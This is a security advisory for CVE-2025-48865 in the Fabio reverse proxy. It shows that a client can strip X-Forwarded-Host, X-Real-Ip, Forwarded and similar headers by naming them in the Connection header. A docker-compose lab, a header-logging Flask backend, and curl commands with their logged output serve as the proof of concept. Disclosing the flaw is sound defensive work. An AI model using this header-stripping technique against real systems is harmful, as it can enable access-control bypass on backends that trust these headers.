CVE-2025-48865

### Summary Fabio allows clients to remove X-Forwarded headers (except X-Forwarded-For) due to a vulnerability in how it processes hop-by-hop headers. Fabio adds HTTP headers like X-Forwarded-Host and X-Forwarded-Port when routing requests to backend applications. Since the receiving application should trust these headers, allowing HTTP clients to remove or modify them creates potential security vulnerabilities. However, it was found that some of these custom headers can indeed be removed and, in certain cases, manipulated. The attack relies on the behavior that headers can be defined as hop-by-hop via the HTTP Connection header. By setting the following connection header, the X-Forwarded-Host header can, for example, be removed: ``` Connection: close, X-Forwarded-Host ``` Similar critical vulnerabilities have been identified in other web servers and proxies, including [CVE-2022-31813](https://nvd.nist.gov/vuln/detail/CVE-2022-31813) in Apache HTTP Server and [CVE-2024-45410](https://github.com/advisories/GHSA-62c8-mh53-4cqv) in Traefik. ### Details It was found that the following headers can be removed in this way (i.e. by specifying them within a connection header): - X-Forwarded-Host - X-Forwarded-Port - X-Forwarded-Proto - X-Real-Ip - Forwarded ### PoC The following docker-compose file was used for testing: ```yml version: '3' services: fabio: image: fabiolb/fabio ports: - "3000:9999" - "9998:9998" volumes: - ./fabio.properties:/etc/fabio/fabio.properties backend: build: . ports: - "8080:8080" environment: - PYTHONUNBUFFERED=1 ``` The fabio.properties configuration: ``` proxy.addr = :9999 ui.addr = :9998 registry.backend = static registry.static.routes = route add service / http://backend:8080/ ``` A Python container runs a simple HTTP server that logs received headers. The Dockerfile: ```dockerfile FROM python:3.11-slim WORKDIR /app COPY app.py . RUN pip install flask EXPOSE 8080 CMD ["python", "app.py"] ``` Python Flask Server ```python from flask import Flask, request import sys import os sys.stdout.flush() sys.stderr.flush() os.environ['PYTHONUNBUFFERED'] = '1' app = Flask(__name__) @app.before_request def log_request_info(): print("HEADERS:") for header_name, header_value in request.headers: print(f" {header_name}: {header_value}") @app.route("/", methods=['GET', 'POST', 'PUT', 'DELETE', 'PATCH']) def hello(): return f"Hello, World! Method: {request.method}" @app.route("/<path:path>", methods=['GET', 'POST', 'PUT', 'DELETE', 'PATCH']) def catch_all(path): return f"Caught path: {path}, Method: {request.method}" if __name__ == "__main__": app.run(host="0.0.0.0", port=8080, debug=True) ``` A normal HTTP request/response pair looks like this: #### Request ```http GET / HTTP/1.1 Host: 127.0.0.1:3000 User-Agent: curl/8.7.1 Accept: */* Connection: keep-alive ``` curl command ```bash curl --path-as-is -i -s -k -X $'GET' \ -H $'Host: 127.0.0.1:3000' -H $'User-Agent: curl/8.7.1' -H $'Accept: */*' -H $'Connection: keep-alive' \ $'http://127.0.0.1:3000/' ``` #### Response ```http HTTP/1.1 200 OK Server: Werkzeug/3.1.3 Python/3.11.12 Date: Thu, 22 May 2025 23:09:12 GMT Content-Type: text/html; charset=utf-8 Content-Length: 25 Connection: close Hello, World! Method: GET ``` Server Log ``` backend-1 | HEADERS: backend-1 | Host: 127.0.0.1:3000 backend-1 | User-Agent: curl/8.7.1 backend-1 | Accept: */* backend-1 | Forwarded: for=192.168.65.1; proto=http; by=172.24.0.3; httpproto=http/1.1 backend-1 | X-Forwarded-For: 192.168.65.1 backend-1 | X-Forwarded-Host: 127.0.0.1:3000 backend-1 | X-Forwarded-Port: 3000 backend-1 | X-Forwarded-Proto: http backend-1 | X-Real-Ip: 192.168.65.1 ``` Next, a request, where the Forwarded header is defined as a hop-by-hop header via the Connection header is sent: #### Request ```http GET / HTTP/1.1 Host: 127.0.0.1:3000 User-Agent: curl/8.7.1 Accept: */* yeet: 123 Connection: keep-alive, Forwarded ``` curl command ```bash curl --path-as-is -i -s -k -X $'GET' \ -H $'Host: 127.0.0.1:3000' -H $'User-Agent: curl/8.7.1' -H $'Accept: */*' -H $'Connection: keep-alive, Forwarded' \ $'http://127.0.0.1:3000/' ``` #### Response ```http HTTP/1.1 200 OK Content-Length: 25 Content-Type: text/html; charset=utf-8 Date: Thu, 22 May 2025 23:42:45 GMT Server: Werkzeug/3.1.3 Python/3.11.12 Hello, World! Method: GET ``` Server Logs ``` backend-1 | HEADERS: backend-1 | Host: 127.0.0.1:3000 backend-1 | User-Agent: curl/8.7.1 backend-1 | Accept: */* backend-1 | X-Forwarded-For: 192.168.65.1 backend-1 | X-Forwarded-Host: 127.0.0.1:3000 backend-1 | X-Forwarded-Port: 3000 backend-1 | X-Forwarded-Proto: http backend-1 | X-Real-Ip: 192.168.65.1 ``` The response shows that Fabio's `Forwarded` header was removed from the request ### Impact If the backend application trusts these custom headers for security-sensitive operations, their removal or modification may lead to vulnerabilities such as access control bypass. This vulnerability has a critical severity rating similar to [CVE-2022-31813](https://nvd.nist.gov/vuln/detail/CVE-2022-31813) (Apache HTTP Server, 9.8) and [CVE-2024-45410](https://github.com/advisories/GHSA-62c8-mh53-4cqv) (Traefik, 9.3) Stripping headers like `X-Real-IP` can confuse the upstream server about whether the request is coming from an external client through the reverse proxy or from an internal source. This type of vulnerability can be exploited as demonstrated in: [Versa Concerto RCE](https://projectdiscovery.io/blog/versa-concerto-authentication-bypass-rce). ### References - [CVE-2024-45410](https://github.com/advisories/GHSA-62c8-mh53-4cqv) - [CVE-2022-31813](https://nvd.nist.gov/vuln/detail/CVE-2022-31813) - [Versa Concerto RCE](https://projectdiscovery.io/blog/versa-concerto-authentication-bypass-rce)